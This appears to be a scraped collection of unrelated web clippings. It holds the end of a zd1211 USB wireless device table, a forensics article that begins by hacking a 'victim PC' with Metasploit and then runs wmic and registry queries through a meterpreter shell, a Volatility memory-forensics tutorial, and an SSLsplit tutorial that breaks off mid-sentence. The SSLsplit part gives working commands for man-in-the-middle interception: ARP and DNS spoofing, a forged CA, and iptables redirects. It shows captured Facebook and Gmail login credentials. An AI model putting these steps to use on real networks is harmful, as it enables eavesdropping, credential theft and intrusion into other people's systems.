Planex GW-US54GZ-WO| zd1211 | 14ea:ab10 | RF2959   
Prismiq WUA-11G| | |   
Sweex wireless USB 54 Mbps| zd1211 | 5173:1809 |   
Trust NW-3100| zd1211 | 0105:145f |   
Unknown zd1211 device | zd1211 | 0b3b:6630 |   
Unknown zd1211 device | zd1211 | 0cde:0011 |   
Unknown zd1211 device | zd1211 | 2019:c008 |   
Unknown zd1211 device | zd1211 | 2019:c009 |   
Unknown zd1211 device | zd1211 | 0ace:a211 |   
Unknown zd1211b device | zd1211b | 0053:5302 |   
Unknown zd1211b device | zd1211b | 050d:4050 |   
Unknown zd1211b device | zd1211b | 083a:e501 |   
Unknown zd1211b device | zd1211b | 0f88:3014 |   
Unknown zd1211b device | zd1211b | 1233:0471 |   
  
See article in c't magazine 2005/04, p. 138 \(German\) for a nice comparison
of WLAN USB sticks.  
  

## Contact

  

  * zd1211-dev mailing list \(WWW interface\) - Posting to this list is members-only.

  

## Links

  

  * zd1211rw homepage
  * Sourceforge ZD1211 project page
  * Vendor driver download

# Cyber Forensics | Hacking Articles
**Created:**| _5/3/2014 11:21:22 PM_  
---|---  
**Updated:**| _5/3/2014 11:21:22 PM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

# Cyber Forensics

##  Forensics Investigation of Remote PC \(Part 2\)

0

First Hack the Victim PC Using Metasploit \(**Tutorial How to Hack Remote
PC**\)

Once you got the**meterpreter** session use ‘**shell** ‘command to get command
prompt of the target

#### **How to Find System Boot Time and Install Original Date**

**Systeminfo** – Displays detailed configuration information about a computer
and its operating system, including operating system configuration, security
information, and product ID, and hardware properties, such as RAM, disk space,
and network cards.

<img src='img/Temp2_1764.png' />

#### **How to Detect Last Connected USB**

Reg query hklm\system\CurrentControlSet\Enum\usbstor

<img src='img/Temp2_1752.png' />

#### **How to View Recent Visit Documents**

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

<img src='img/Temp2_1751.png' />

#### **How to View Last Used Command in Run Dialog Box**

reg query
hkey\_current\_user\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

<img src='img/Temp2_1748.png' />

#### **How to View Installed software**

Reg query hkcu/software

<img src='img/Temp2_1744.png' />

#### **How to Find the All installed Drivers**

**Driverquery** – Displays a list of all installed device drivers and their
properties.

<img src='img/Temp2_1760.png' />

<img src='img/Temp2_1762.png' />

##  Forensics Investigation of Remote PC \(Part 1\)

1

First Hack the Victim PC Using Metasploit \(**Tutorial How to Hack Remote
PC**\)

Once you got the **meterpreter** session use ‘**shell** ‘command to get
command prompt of the target.

Now type **wmic /?** Displays help

<img src='img/Temp2_1763.png' />

<img src='img/Temp2_1755.png' />

<img src='img/Temp2_1738.png' />

<img src='img/Temp2_1758.png' />

**wmic cpu list full –** get Name, Caption, MaxClockSpeed, DeviceID, and etc
status

<img src='img/Temp2_1742.png' />

**wmic memory chip –** to get get Bank Label, Capacity, Caption, Creation
ClassName, DataWidth, Description, Device locator, Form Factor, HotSwappable,
Install Date etc.

<img src='img/Temp2_1741.png' />

**wmic process list full –** to get Caption, CommandLine, Handle, HandleCount,
PageFaults, PageFileUsage, PArentProcessId, ProcessId, ThreadCount

<img src='img/Temp2_1768.png' />

**wmic startup –** to get Caption, Location, Command

<img src='img/Temp2_1759.png' />

**wmic bios –** get name, version, serial number

<img src='img/Temp2_1767.png' />

**wmic bootconfig –** get BootDirectory, Caption, TempDirectory, Lastdrive

<img src='img/Temp2_1753.png' />

**wmic startup –** get Caption, Location, Command

<img src='img/Temp2_1759.png' />

**wmic useraccount –** get Account Type, Description, Domain, Disabled, Local
Account, Lockout, Password Changeable, Password Expires, Password Required,
SID

<img src='img/Temp2_1743.png' />

**wmic driver –** get Caption, Name, PathName, ServiceType, State, Status

<img src='img/Temp2_1761.png' />

**wmic share –** get name, path, status

<img src='img/Temp2_1757.png' />

**baseboard**|  get Manufacturer, Model, Name, PartNumber, slotlayout,
serialnumber, poweredon  
---|---  
**cdrom**|  get Name, Drive, Volumename  
**computersystem**|  get Name, domain, Manufacturer, Model,
NumberofProcessors, PrimaryOwnerName,Username, Roles, totalphysicalmemory
/format:list  
**datafile**|  where name=’c:\\\boot.ini’ get Archive, FileSize, FileType,
InstallDate, Readable, Writeable, System, Version  
**dcomapp**|  get Name, AppID /format:list  
**desktop**|  get Name, ScreenSaverExecutable, ScreenSaverActive, Wallpaper
/format:list  
**desktopmonitor**|  get screenheight, screenwidth  
**diskdrive**|  get Name, Manufacturer, Model, InterfaceType, MediaLoaded,
MediaType  
**diskquota**|  get User, Warninglimit, DiskSpaceUsed, QuotaVolume  
**environment**|  get Description, VariableValue  
**fsdir**|  where name=’c:\\\windows’ get Archive, CreationDate, LastModified,
Readable, Writeable, System, Hidden, Status  
**group**|  get Caption, InstallDate, LocalAccount, Domain, SID, Status  
**idecontroller**|  get Name, Manufacturer, DeviceID, Status  
**irq**|  get Name, Status  
**job**|  get Name, Owner, DaysOfMonth, DaysOfWeek, ElapsedTime, JobStatus,
StartTime, Status  
**loadorder**|  get Name, DriverEnabled, GroupOrder, Status  
**logicaldisk**|  get Name, Compressed, Description, DriveType, FileSystem,
FreeSpace, SupportsDiskQuotas, VolumeDirty, VolumeName  
**memcache**|  get Name, BlockSize, Purpose, MaxCacheSize, Status  
**memlogical**|  get AvailableVirtualMemory, TotalPageFileSpace,
TotalPhysicalMemory, TotalVirtualMemory  
**memphysical**|  get Manufacturer, Model, SerialNumber, MaxCapacity,
MemoryDevices  
**netclient**|  get Caption, Name, Manufacturer, Status  
**netlogin**|  get Name, Fullname, ScriptPath, Profile, UserID,
NumberOfLogons, PasswordAge, LogonServer, HomeDirectory, PrimaryGroupID  
**netprotocol**|  get Caption, Description, GuaranteesSequencing,
SupportsBroadcasting, SupportsEncryption, Status  
**netuse**|  get Caption, DisplayType, LocalName, Name, ProviderName, Status  
**nic**|  get AdapterType, AutoSense, Name, Installed, MACAddress,
PNPDeviceID,PowerManagementSupported, Speed, StatusInfo  
**nicconfig**|  get MACAddress, DefaultIPGateway, IPAddress, IPSubnet,
DNSHostName, DNSDomain  
**ntdomain**|  get Caption, ClientSiteName, DomainControllerAddress,
DomainControllerName, Roles, Status  
**ntevent**|  where \(LogFile=’system’ and SourceName=’W32Time’\) get Message,
TimeGenerated  
**onboarddevice**|  get Description, DeviceType, Enabled, Status  
**os**|  get Version, Caption, CountryCode, CSName, Description, InstallDate,
SerialNumber, ServicePackMajorVersion, WindowsDirectory /format:list  
**pagefile**|  get Caption, CurrentUsage, Status, TempPageFile  
**pagefileset**|  get Name, InitialSize, MaximumSize  
**partition**|  get Caption, Size, PrimaryPartition, Status, Type  
**printer**|  get DeviceID, DriverName, Hidden, Name, PortName,
PowerManagementSupported, PrintJobDataType, VerticalResolution,
Horizontalresolution  
**printjob**|  get Description, Document, ElapsedTime, HostPrintQueue, JobID,
JobStatus, Name, Notify, Owner, TimeSubmitted, TotalPages  
**product**|  get Description, InstallDate, Name, Vendor, Version  
**qfe**|  get description, FixComments, HotFixID, InstalledBy, InstalledOn,
ServicePackInEffect  
**quotasetting**|  get Caption, DefaultLimit, Description,
DefaultWarningLimit, SettingID, State  
**recoveros**|  get AutoReboot, DebugFilePath, WriteDebugInfo,
WriteToSystemLog  
**Registry**|  get CurrentSize, MaximumSize, ProposedSize, Status  
**scsicontroller**|  get Caption, DeviceID, Manufacturer, PNPDeviceID  
**server**|  get ErrorsAccessPermissions, ErrorsGrantedAccess, ErrorsLogon,
ErrorsSystem, FilesOpen, FileDirectorySearches  
**service**|  get Name, Caption, State, ServiceType, StartMode, pathname  
**sounddev**|  get Caption, DeviceID, PNPDeviceID, Manufacturer, status  
**sysaccount**|  get Caption, Domain, Name, SID, SIDType, Status  
**systemenclosure**|  get Caption, Height, Depth, Manufacturer, Model,
SMBIOSAssetTag, AudibleAlarm, SecurityStatus, SecurityBreach, PoweredOn,
NumberOfPowerCords  
**systemslot**|  get Number, SlotDesignation, Status, SupportsHotPlug,
Version, CurrentUsage, ConnectorPinout  
**tapedrive**|  get Name, Capabilities, Compression, Description, MediaType,
NeedsCleaning, Status, StatusInfo  
**timezone**|  get Caption, Bias, DaylightBias, DaylightName, StandardName  
##  Volatility – An advanced memory forensics framework

0

The Volatility Framework is a completely open collection of tools, implemented
in Python under the GNU General Public License, for the extraction of digital
artifacts from volatile memory \(RAM\) samples. The extraction techniques are
performed completely independent of the system being investigated but offer
unprecedented visibility into the runtime state of the system. The framework
is intended to introduce people to the techniques and complexities associated
with extracting digital artifacts from volatile memory samples and provide a
platform for further work into this exciting area of research.

#### **Windows Features**

**Basic / Informational**

  * Current date, time, CPU count, CPU speed, service pack
  * Current thread and idle thread
  * Addresses of the KDBG, KPCR, DTB, PsActiveProcessHead, PsLoadedModuleList, etc

**Processes**

  * List active processes \(column or tree view\)
  * Scan for hidden or terminated \_EPROCESS objects \(using pool tags or \_DISPATCHER\_HEADER\)
  * Enumerate DLLs in the PEB LDR lists
  * Rebuild/extract DLLs or EXEs to disk based on name, base address, or physical offset
  * Print open handles to files, registry keys, mutexes, threads, processes, etc
  * List security identifiers \(SIDs\) for processes
  * Scan for cmd.exe command history and full console input/output buffers
  * List process environment variables
  * Print PE version information from processes or DLLs \(file version, company name, etc\)
  * Enumerate imported and exported API functions anywhere in process or kernel memory
  * Show a list of virtual and physical mappings of all pages available to a process
  * Dump process address space to disk as a single file
  * Analyze Virtual Address Descriptor \(VAD\) nodes, show page protection, flags, and mapped files
  * Represent the VAD in tree form or Graphviz .dot graphs
  * Dump each VAD range to disk for inspecting with external tools
  * Parse XP/2003 event log records

**Kernel Memory**

  * List loaded kernel modules and scan for hidden/unloaded module structures
  * Extract PE files including drivers from anywhere in kernel memory
  * Dump the SSDT for all 32- and 64-bit windows systems
  * Scan for driver objects, print IRP major function tables
  * Show devices and device tree layout
  * Scan for file objects \(can show deleted files, closed handles, etc\)
  * Scan for threads, mutex objects and symbolic links

**GUI Memory**

  * Analyze logon sessions and the processes and mapped images belonging to the session
  * Scan for window stations and clipboard artifacts \(clipboard snooping malware\)
  * Scan for desktops, analyze desktop heaps and attached GUI threads
  * Locate and parse atom tables \(class names, DLL injection paths, etc\)
  * Extract the contents of the windows clipboard
  * Analyze message hooks and event hooks, show the injected DLL and function address
  * Dump all USER object types, pool tags, and flags from the gahti
  * Print all open USER handles, associated threads or processes, and object offsets
  * Display details on all windows, such as coordiates, window title, class, procedure address, etc
  * Take screen shots from memory dumps \(requires PIL\)

**Malware Analysis**

  * Find injected code and DLLs, unpacker stubs, and decrypted configurations, etc
  * Scan process or kernel memory for any string, regular expression, byte pattern, URL, etc
  * Analyze services, their status \(running, stopped, etc\) and associated process or driver
  * Cross-reference memory mapped executable files with PEB lists to find injected code
  * Scan for imported functions in process or kernel memory \(without using import tables\)
  * Detect API hooks \(Inline, IAT, EAT\), hooked winsock tables, syscall hooks, etc
  * Analyze the IDT and GDT for each CPU, alert on hooks and disassemble code
  * Dump details of threads, such as hardware breakpoints, context registers, etc
  * Enumerate kernel callbacks for process creation, thread creation, and image loading
  * Display FS registration, registry, shutdown, bugcheck, and debug print callbacks
  * Detect hidden processes with alternate process listings \(6+ sources\)
  * Analyze kernel timers and their DPC routine functions

**Networking**

  * Walk the list of connection and socket objects for XP/2003 systems
  * Scan physical memory for network information \(recover closed/terminated artifacts\)
  * Determine if listening sockets are IPv4, IPv6, etc and link to their owning processes
  * Registry
  * Scan for registry hives in memory
  * Parse and print any value or key cached in kernel memory, with timestamps
  * Dump an entire registry hive recursively
  * Extract cached domain credentials from the registry
  * Locate and decrypt NT/NTLM hashes and LSA secrets
  * Analyze user assist keys, the shimcache, and shellbags
  * Crash Dumps, Hibernation, Conversion
  * Print crash dump and hibernation file header information
  * Run any plugin on a crash dump or hibernation file \(hiberfil.sys\)
  * Convert a raw memory dump to a crash dump for opening in \!WinDBG
  * Convert a crash dump or hibernation file to a raw memory dump

**Miscellaneous**

  * Link strings found at physical offsets to their owning kernel address or process
  * Interactive shell with disassembly, type display, hexdumps, etc

#### How to use Volatility Framework

Before you can conduct victim system analysis you need to capture memory.

**Step 1** : First Download **dumpit** and capture victim pc memory \(**How to
use Dumpit**\)

**Step2** : Download Volatility for windows PC from **here**

**Step3** : Now Open **Volatility** from **command prompt** and use the
Following Commands

##### **Imageinfo**

If you don’t know what type of system your image came from, use the
**imageinfo** command

**volatility.exe –f \(Windows Dump Path\) imageinfo**

<img src='img/Temp2_1765.png' />

##### **pslist**

To list the processes of a system, use the pslist command. This walks the
doubly-linked list pointed to by PsActive Process Head. It does not detect
hidden or unlinked processes.

**volatility.exe –f \(Windows Dump Path\) pslist**

<img src='img/Temp2_1746.png' />

##### **psscan**

To enumerate processes using pool tag scanning, use the psscan command. This
can find processes that previously terminated \(inactive\) and processes that
have been hidden or unlinked by a rootkit.

**volatility.exe –f \(Windows Dump Path\) psscan**

<img src='img/Temp2_1739.png' />

##### **dlllist**

To display a process’s loaded DLLs, use the dlllist command. It walks the
doubly-linked list of LDR\_DATA\_TABLE\_ENTRY structures which is pointed to
by the PEB’s In Load Order Module List. DLLs are automatically added to this
list when a process calls LoadLibrary \(or some derivative such as
LdrLoadDll\) and they aren’t removed until Free Library is called and the
reference count reaches zero.

**volatility.exe –f \(Windows Dump Path\) dlllist**

<img src='img/Temp2_1754.png' />

##### **getsids**

To view the SIDs \(Security Identifiers\) associated with a process, use the
getsids command. Among other things, this can help you identify processes
which have maliciously escalated privileges.

**volatility.exe –f \(Windows Dump Path\) getsids**

<img src='img/Temp2_1750.png' />

##### **sockets**

To detect listening sockets for any protocol \(TCP, UDP, RAW, etc\), use the
sockets command. This walks a singly-linked list of socket structures which is
pointed to by a non-exported symbol in the tcpip.sys module. This command is
for Windows XP and Windows 2003 Server only.

**volatility.exe –f \(Windows Dump Path\) sockets**

<img src='img/Temp2_1756.png' />

##### **hivelist**

To locate the virtual addresses of registry hives in memory, and the full
paths to the corresponding hive on disk, use the hivelist command.

**volatility.exe –f \(Windows Dump Path\) hivelist**

<img src='img/Temp2_1749.png' />

##### **userassist**

To get the UserAssist keys from a sample you can use the userassist plugin.

**volatility.exe –f \(Windows Dump Path\) userassist**

<img src='img/Temp2_1740.png' />

##### **svcscan**

Volatility is the only memory forensics framework with the ability to list
Windows services. To see which services are registered on your memory image,
use the svcscan command. The output shows the process ID of each service \(if
its active and pertains to a usermode process\), the service name, service
display name, service type, and current status. It also shows the binary path
for the registered service – which will be an EXE for usermode services and a
driver name for services that run from kernel mode

**volatility.exe –f \(Windows Dump Path\) svcscan**

<img src='img/Temp2_1766.png' />

**Command Reference & More Commands Visit: **

**http://code.google.com/p/volatility/wiki/CommandReference**

##  DumpIt – RAM Capture Tool

0

This utility is used to generate a physical memory dump of Windows machines.
It works with both x86 \(32-bits\) and x64 \(64-bits\) machines. The raw
memory dump is generated in the current directory, only a confirmation
question is prompted before starting. Perfect to deploy the executable on USB
keys, for quick incident responses needs.

First Download Dumpit from **Here** and Save in Your Desktop

Now run **Dumpit.exe** file the raw memory dump will be generated and save to
the same directory

<img src='img/Temp2_1747.png' />

<img src='img/Temp2_1745.png' />

# Use SSLsplit to transparently sniff TLS/SSL connections - including non-
HTTP\(S\) protocols - Philipp's Tech Blog

**Created:**| _10/24/2013 9:08:11 AM_  
---|---  
**Updated:**| _10/24/2013 9:08:11 AM_  
**Author:**| __  
**Tags:**| _network-security ssl mitm_  
  

#  **U** se SSLsplit to transparently sniff TLS/SSL connections – including
non-HTTP\(S\) protocols****

<img src='img/Temp2_8752.png' width='150' height='150' alt='sslsplit-featured'
/>

I recently demonstrated how to perform a man-in-the-middle attack on HTTP\(S\)
connections using mitmproxy **.** While mitmproxy works just great for HTTP-
based communication, it does not understand other TLS/SSL-based traffic such
as FTPS, SMTP over SSL, IMAP over SSL or any other protocol wrapped in
TLS/SSL**.**

SSLsplit  is a generic transparent TLS/SSL proxy for performing man-in-the-
middle attacks on all kinds of secure communication protocols**.** Using
SSLsplit, one can intercept and save SSL-based traffic and thereby listen in
on any secure connection**.**

* * *
**Contents**  
  

* * *
### 1**.** How it works**** ¶

SSLsplit  works quite similar to other transparent SSL proxy tools: It acts as
a middle man between the client and the actual server**.** Provided that
traffic is being redirected to the server on which SSLsplit is running \(by
changing the default gateway, ARP spoofing or other means, see below\),
SSLsplit picks up SSL connections and pretends to be the server the client is
connecting to**.** To do so, it dynamically generates a certificate and signs
it with a the private key of a CA certificate that the client must trust**.**

If, for example, a client wants to send an e-mail using the secure Gmail SMTP
server \(smtp.gmail.com on port 465\), SSLsplit creates a certificate for
“smtp.gmail.com” and thereby pretends to be the Gmail mail server towards the
client**.** In the upstream direction \(towards the actual Gmail mail
server\), SSLsplit connects to the server just like a normal client —
forwarding all the traffic the actual client writes on the SSL socket**.**

If you are interested in a little more details, please check out the “How it
works” section of the post about HTTPS interception with mitmproxy**.** The
basic concept is the same, so it should be relatively easy to understand**.**

Advertisement

### 2\. Install & run SSLsplit**** ¶

After explaining the basic concept of how SSLsplit works, this section will
describe how to actually use it to intercept SSL \(and non-SSL\) traffic**.**

#### 2.1**.** Redirect traffic**** ¶

This tutorial assumes that you have already placed your attacker system
somewhere in between the victim machine and the server**.** This can be done
in many different ways — here are some examples:

  * Use ARP spoofing  to redirect the traffic of the victim by publishing false mappings from the standard gateway MAC address to the attacker’s IP address**.** You do not need physical access to the victim’s device to do that**.** Check out the arpspoof  tool**.**
  * Change the default gateway  address in the victim’s network settings**.** This is the easiest method if you have access to the victim’s device**.**
  * Forging DNS entries  with a DNS server that returns the attacker’s IP address for certain \(or all\) domains**.** See my tutorial about DNS spoofing with Dnsmasq  to learn how to do that**.**
  * Redirect traffic for individual domains by modifying entries in the /etc/hosts file  of the victim’s machine**.**

As mentioned above, the easiest way is to just change the default gateway
address in your victim’s device to the attacker’s IP address**.** That makes
sure that all the traffic goes through your machine**.** And since we later
need to install a CA certificate, we need physical access to the victim’s
machine anyway**.**

#### 2.2. Installation**** ¶

As of now, there is no Debian package in the repositories for SSLsplit**.**
The code is hosted on different mirrors, managed by the author Daniel
Roethlisberger , as well as on Github **.**

To download and compile SSLsplit, run the following commands:

Shell

| wget http://mirror.roe**.** ch/rel/sslsplit/sslsplit-0.4.7.tar**.**
bz2bunzip2 sslsplit-0.4.7.tar.bz2 tar xvf sslsplit-0**.** 4.7.tar cd
sslsplit-0.4.7apt-get install libssl-dev libevent-devmkdir /tmp/sslsplit  
---|---  
These commands download and extract the source code \(`wget`, `bunzip2`,
`tar`\), install necessary dependencies \(`apt-get`\), and then compile it
using `make`**.**

The temporary directory created at `/tmp/sslsplit` is later used to dump the
connection log file and the raw data of the incoming and outgoing SSL
sockets**.**

#### 2**.** 3\. Create and install root CA certificate**** ¶

For SSLsplit to act as a middle man for SSL connections, it needs to be able
to generate and sign certificates that the victim trusts**.** In order to do
so, the victim must have the attacker’s root CA certificate  in its trust
store**.** Depending on the type of client \(desktop browser, mobile phone\),
installing root certificates differs a bit \(see here for Firefox , Windows ,
Android, …\)

If you don’t already have a self-signed CA private key and certificate, you
can generate one using the following commands:

Shell

| openssl genrsa -out ca.key 4096openssl req -new -x509 -days 1826 -key ca.key
-out ca.crt  
---|---  
The first command generates an 4096-bit RSA private key in PEM format
\(`ca.key`\), and the second command uses this private key to generate a self-
signed root CA certificate \(`ca.crt`\)**.** Both are needed by SSLsplit
later, but only the certificate file needs to be installed in the browser or
operating system of the victim**.**

#### 2.4. Enable IP forwarding and NAT engine \(iptables****\) ¶

In this example, SSLsplit will be running on two ports: 8080 for non-SSL TCP
connections such as HTTP, SMTP or FTP, and 8443 for SSL connections such as
SMTP over SSL, HTTPS, etc**.** In order to forward packets arriving at the
attacker’s machine to these internal ports, the NAT engine  in iptables  can
be used**.**

Shell

| sysctl -w net.ipv4**.** ip\_forward=1iptables -t nat -Fiptables -t nat -A
PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080iptables -t nat -A
PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443iptables -t nat -A
PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443iptables -t nat -A
PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443iptables -t nat -A
PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443iptables -t nat -A
PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080  
---|---  
The commands above first enable IP forwarding  \(`sysctl ..**.**`\) to enable
the system’s router functionality**.** After running this command, Linux will
forward IP packets not meant for the local machine to its standard/default
gateway, thereby acting as a router**.**

To prevent Linux from forwarding everything right away, NAT rules can be
defined**.** In this example, certain packets are redirected to the local port
8080 and 8443**.** Packets for the plain text traffic on ports HTTP \(80\) and
WhatsApp \(5222\) are redirected to port 8080, and packets for SSL-based
traffic on ports HTTPS \(443\), IMAP over SSL \(993\), SMTP over SSL \(465 and
587\) are redirected to port 8443**.**

#### 2.5. Run SSLsplit**** ¶

Once the IP forwarding is active and packets are being forwarded to the
relevant ports, you can start SSLsplit**.** That sounds easier than it
actually is, because SSLsplit is a very powerful tool and therefore very
flexible**.** Check out the short documentation on the SSLsplit website , as
well as the more verbose SSLsplit man page **.**

For the use case described above, a sensible parameter configuration would be
something like this:

Shell

| **.** /sslsplit  -l connections.log  -j /tmp/sslsplit/  -S logdir/  -k
ca.key  -c ca.cer  ssl 0**.** 0.0.0 8443  tcp 0**.** 0.0.0 8080  
---|---  
This command starts SSLsplit in debug mode \(`-D`, runs in foreground, no
daemon, verbose output\) and outputs connection attempts in the log file
“connections.log” \(`-l ..`\)**.** The actual content of the connections is
written to the “/tmp/sslsplit/logdir/” \(`-j ..` and `-S ..`\) — each
incoming/outgoing TCP stream of each connection in a separate file**.**

This is it. Assuming you have configured your clients correctly, you can now
start browsing and send/receive e-mails**.** SSLsplit will output connection
details on the console:

| root@pbox:~/sslsplit-0**.** 4**.** 7\# ./sslsplit -D -l connections.log -j
/tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0**.** 0.0**.** 0 8443 tcp
0.0.0.0 8080Generated RSA key for leaf certs**.** SSLsplit 0.4.7 \(built
2013-07-15\)Copyright \(c\) 2009-2013, Daniel Roethlisberger <daniel@roe**.**
ch>http://www.roe.ch/SSLsplitFeatures: -DDISABLE\_SSLV2\_SESSION\_CACHE
-DHAVE\_NETFILTERNAT engines: netfilter\* tproxynetfilter: IP\_TRANSPARENT
SOL\_IPV6 **\!** IPV6\_ORIGINAL\_DSTcompiled against OpenSSL 1**.** 0.1c 10
May 2012 \(1000103f\)rtlinked against OpenSSL 1**.** 0.1c 10 May 2012
\(1000103f\)TLS Server Name Indication \(SNI\) supportedOpenSSL is thread-safe
with THREADIDSSL/TLS algorithm availability: RSA DSA ECDSA DH ECDH ECOpenSSL
option availability: SSL\_OP\_NO\_COMPRESSION SSL\_OP\_NO\_TICKET
SSL\_OP\_ALLOW\_UNSAFE\_LEGACY\_RENEGOTIATION
SSL\_OP\_DONT\_INSERT\_EMPTY\_FRAGMENTS
SSL\_OP\_NO\_SESSION\_RESUMPTION\_ON\_RENEGOTIATION
SSL\_OP\_TLS\_ROLLBACK\_BUGcompiled against libevent 2**.**
0.19-stablertlinked against libevent 2**.** 0.19-stable4 CPU cores
detectedproxyspecs:\- \[0**.** 0.0**.** 0\]:8080 tcp plain netfilter\-
\[0.0.0.0\]:8443 ssl plain netfilterLoaded CA: '/C=DE/ST=HE/O=Fake CA
Certificate/CN=Fake CA Certificate'Using libevent backend 'epoll'Event base
supports: edge yes, O\(1\) yes, anyfd noInserted events: 0x94b380 \[fd 7\]
Read Persist 0x94ba40 \[fd 8\] Read Persist 0x94d4c0 \[fd 9\] Read Persist
0x94b1b8 \[fd 6\] Read Persist 0x94d550 \[fd 3\] Signal Persist 0x94d7b0 \[fd
1\] Signal Persist 0x94d920 \[fd 2\] Signal Persist 0x94da90 \[fd 13\] Signal
PersistStarted 8 connection handling threadsStarting main event loop**.** SNI
peek: \[www.facebook.com\] \[complete\]Connecting to \[31**.** 13**.**
81.33\]:443===> Original server certificate:Subject DN:
/C=US/ST=California/L=Palo Alto/O=Facebook, Inc**.** /CN=\*.facebook.comCommon
Names: \*.facebook.com/\*.facebook.com/facebook.comFingerprint:
f5:6b:f2:44:63:b0:bd:61:36:c5:e8:72:34:6b:32:04:28:ff:4d:7cCertificate cache:
MISS===> Forged server certificate:Subject DN: /C=US/ST=California/L=Palo
Alto/O=Facebook, Inc**.** /CN=\*.facebook.comCommon Names:
\*.facebook.com/\*.facebook.com/facebook.comFingerprint:
54:de:df:bb:30:95:36:57:c9:11:8d:5f:1f:b6:53:cc:0e:12:e5:b3ssl \[192**.**
168.178**.** 20\]:39447 \[31.13.81.33\]:443 sni:www.facebook.com
crt:\*.facebook.com/\*.facebook.com/facebook.com
origcrt:\*.facebook.com/\*.facebook.com/facebook.com  
---|---  
In addition to the console output, SSLsplit will write the TCP socket
conversations to the above mentioned log directories**.** After running
SSLsplit for a while, there will be quite a few files in the log directory —
one for each connection or TCP socket between client and server:

Shell

| root@pbox:/tmp/sslsplit/logdir\# ls 20130804T162001Z-\[192**.** 168**.**
178.20\]:57207-\[173.194.70**.** 16\]:993.log
20130804T162301Z-\[192.168.178.20\]:53188-\[88**.**
221.93.87\]:443.log20130804T162258Z-\[192**.** 168.178.20\]:39327-\[31**.**
13.81.33\]:443.log 20130804T162301Z-\[192.168**.**
178.20\]:53189-\[88.221.93**.** 87\]:443.log20130804T162258Z-\[192**.**
168**.** 178.20\]:56024-\[88.221.93**.** 78\]:443.log
20130804T162301Z-\[192.168.178.20\]:53190-\[88**.**
221.93.87\]:443.log20130804T162258Z-\[192**.** 168.178.20\]:56025-\[88**.**
221.93.78\]:443.log 20130804T162301Z-\[192.168**.**
178.20\]:53192-\[88.221.93**.** 87\]:443.log  
---|---  
Each file indicates the exact time the TCP socket was opened as well as the
source and destination IP address and port**.** You can take a peek in the
file using `head ..**.**` , or use your favorite text editor:

Shell

| root@pbox:/tmp/sslsplit/logdir\# head 20130804T162258Z-\[192**.** 168**.**
178.20\]:39327-\[31.13.81**.** 33\]:443.log GET / HTTP/1.1Host:
www.facebook.comConnection: keep-aliveCache-Control: max-age=0Accept:
text/html,application/xhtml+xml,application/xml;q=0**.** 9,\*/\*;q=0.8User-
Agent: Mozilla/5**.** 0 \(X11; Linux i686\) AppleWebKit/537.36 \(KHTML, like
Gecko\) Chrome/27**.** 0.1453**.** 93 Safari/537.36Accept-Encoding:
gzip,deflate,sdchAccept-Language: en-US,en;q=0**.** 8Cookie: ...  
---|---  
### 3**.** Examples**** ¶

You can listen into many different protocols using SSLsplit**.** Below are a
few examples for HTTPS, IMAP over SSL and SMTP over SSL**.**

#### 3.1. Sniffing HTTPS \(google.de & facebook.com****\) ¶

Once the SSLsplit is running, all communication between the client and the
actual servers goes through SSLsplit**.** Using the `-D` option, SSLsplit
prints connections and certificate forgeries on STDOUT**.** In addition to
that, the content is written to the logdir \(“/tmp/sslsplit/logdir/”\)**.**
Using something like `tail -f /tmp/sslsplit/loggdir/20130804T162301Z-*.log`,
you can follow the communication between server and client**.**

<img src='img/Temp2_8755.png' />

In the screenshot above, the upper console window shows the output of
SSLsplit**.** It shows the real upstream Facebook certificate \(with the
fingerprint `f5:6b:f2:44:..**.**`\), and the forged certificate by SSLsplit —
naturally with a different fingerprint, because it was signed by a different
certificate authority**.**

The lower console window shows the content of the HTTPS communication between
the browser and the Facebook server**.** The example screenshot shows the
HTTPS POST request to “https://www.facebook.com/login.php**?**
login\_attempt=1″, including my username \(`&email=..**.**`\) and the password
\(`&pass=..**.**`\).

If one were to click on the little lock icon on any SSL/TLS encrypted site
whilst redirecting traffic through SSLsplit, the certificate would be _issued
to_ the real common name \(CN\), organization \(O\) and organizational unit
\(OU\), but not _issued by_ the real CA**.**

<img src='img/Temp2_8754.png' />

<img src='img/Temp2_8753.png' />

The example above shows the fake certificate for “www.google**.** de”, issued
by my previously generated “Fake CA Certificate”**.**

**Note:** : If you’re interested in sniffing into HTTPS only \(not: SMTP over
SSL, IMAP over SSL, or any other non-HTTPS traffic\), be sure to check out
mitmproxy  and my mitmproxy tutorial **.** It is much more convenient to use
than SSLsplit.

#### 3.2**.** Sniffing IMAP over SSL \(imap.gmail.com****\) ¶

In the second example I used Thunderbird to connect to my Gmail account**.**
Unlike a web based mail client, Thunderbird connects to the Google/Gmail
server via IMAP on port 143 or via IMAP over SSL on port 993**.** While the
communication on port 143 is unencrypted and can be read with other tools
\(Wireshark, tcpdump, etc**.**\), IMAP over SSL requires a man-in-the-middle
proxy to split the SSL communication**.**

<img src='img/Temp2_8749.png' />

The screenshot above captures the initial connection of Thunderbird to the
Gmail IMAP server \(normally imap.gmail.com, here: imap.googlemail.com\) on
port 993**.** Like in the first example, the upper console shows the SSLsplit
debug output \(showing how SSLsplit forged the certificate\), and the lower
console shows the bytes exchanged over the SSL socket**.**

As you can see in the screenshot, the IMAP communication includes an exchange
of client and server capabilities \(`1 capability`\) with a little inside joke
from the developers of the server \(`1 OK That's all she wrote ..**.**`\), as
well as the authentication \(`3 login "e-mail@gmail.com" "password"`\)**.**
The latter part is probably most interesting to attackers**.**

After the authentication, client and server both agree to continue the
conversation using compression \(`4 COMPRESS DEFLATE`\), so the rest of the
message is naturally not human readable anymore**.** However, since it’s only
compressed and not encrypted, it can be made readable using simple Linux
tools**.**

#### 3**.** 3\. Sniffing SMTP over SSL \(smtp.gmail.com****\) ¶

As you might have guessed by now, this method also works for SMTP over SSL: In
this example, I used Thunderbird to send an e-mail to myself using the Gmail
SMTP server on port 465**.**

<img src='img/Temp2_8750.png' />

Like in the two other examples, the screenshot shows the SSLsplit output in
the upper console window and the conversation output in the bottom
